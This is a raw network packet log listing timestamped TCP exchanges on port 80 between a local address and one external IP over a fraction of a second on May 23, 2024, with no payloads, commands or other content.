May 23, 2024 23:33:09.618365049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.618371964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.618381977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.618388891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.618396997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.618417025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.618438959 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619288921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619304895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619318962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619333029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619338036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619348049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619350910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619364977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619376898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619379997 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619390965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619405031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619412899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619421959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619434118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619437933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619443893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619467974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619482040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619868040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619884014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619896889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619910955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619920015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619925976 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619940042 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619942904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619956970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619957924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619971991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619980097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.619988918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.619999886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.620007038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.620019913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.620029926 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.620050907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.626544952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.626595974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.626703024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.626744032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.626744032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.626744032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.626821995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.626837969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.626852036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.627021074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.627021074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.627021074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.631542921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.631731033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.702347040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.702392101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.702428102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.702460051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.702713013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.702713013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703116894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703151941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703203917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703259945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703259945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703259945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703320980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703372955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703377008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703402996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703428030 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703454018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703459978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703495979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703512907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703541994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703635931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703675032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703696012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703710079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703721046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703815937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.703959942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.703994036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704010963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704026937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704040051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704061031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704073906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704093933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704109907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704144001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704536915 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704571009 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704591036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704602957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704615116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704637051 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704648972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704670906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704682112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704705000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704719067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704740047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704751015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704773903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704783916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704807043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704824924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704840899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.704857111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.704914093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.705303907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705338001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705355883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.705382109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.705506086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705522060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705535889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705550909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705555916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.705565929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705570936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.705581903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705596924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705598116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.705611944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705624104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.705626011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705642939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.705650091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.705662012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.705688953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.706415892 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.706430912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.706444979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.706459045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.706465960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.706474066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.706478119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.706501961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.706506968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.706518888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.706528902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.706533909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.706541061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.706549883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.706561089 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.706567049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.706573963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.706593990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.706604004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708336115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708363056 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708375931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708385944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708390951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708398104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708405972 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708416939 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708421946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708432913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708437920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708452940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708463907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708467960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708482981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708494902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708496094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708506107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708513021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708528042 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708537102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708543062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708558083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708559990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708573103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708585024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708587885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708604097 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708610058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708621025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708621025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708636045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.708647966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708662033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.708678007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709132910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709147930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709161043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709176064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709182978 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709192038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709196091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709207058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709220886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709222078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709238052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709248066 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709253073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709268093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709270954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709292889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709317923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709898949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709914923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709928036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709942102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709949970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709956884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709959984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709971905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.709985018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.709989071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710004091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710009098 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710019112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710026979 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710035086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710050106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710055113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710067034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710078001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710082054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710097075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710100889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710124016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710145950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710803032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710818052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710829973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710843086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710853100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710858107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710869074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710872889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710887909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710896015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710903883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710918903 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710920095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710930109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710936069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.710951090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710964918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.710987091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.717017889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.717160940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.717180967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.717211008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.717307091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.717323065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.717345953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.717345953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.717389107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.717407942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.717423916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.717456102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.717478991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.721872091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.721926928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.794356108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.794404984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.794440031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.794528008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.794555902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.794555902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.794555902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.794563055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.794591904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.794596910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.794631958 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.794642925 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.794666052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.794682980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.794708014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.794842005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.794842005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.794878960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.794931889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.794982910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795034885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795089006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795121908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795137882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795155048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795166016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795188904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795203924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795265913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795406103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795439959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795459032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795473099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795483112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795506954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795519114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795557976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795641899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795694113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795838118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795872927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795892000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795905113 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795916080 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795938969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795950890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.795972109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.795985937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796005011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796015978 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796040058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796056986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796117067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796304941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796339035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796356916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796390057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796391964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796391964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796423912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796456099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796468973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796489954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796500921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796523094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796533108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796555996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796566963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796591043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796603918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796623945 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796633959 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796658039 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796669960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796693087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.796703100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.796736956 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797240973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797293901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797451973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797486067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.797506094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.797517061 CEST	80	49733	185.172.128.82	192.168.2.4
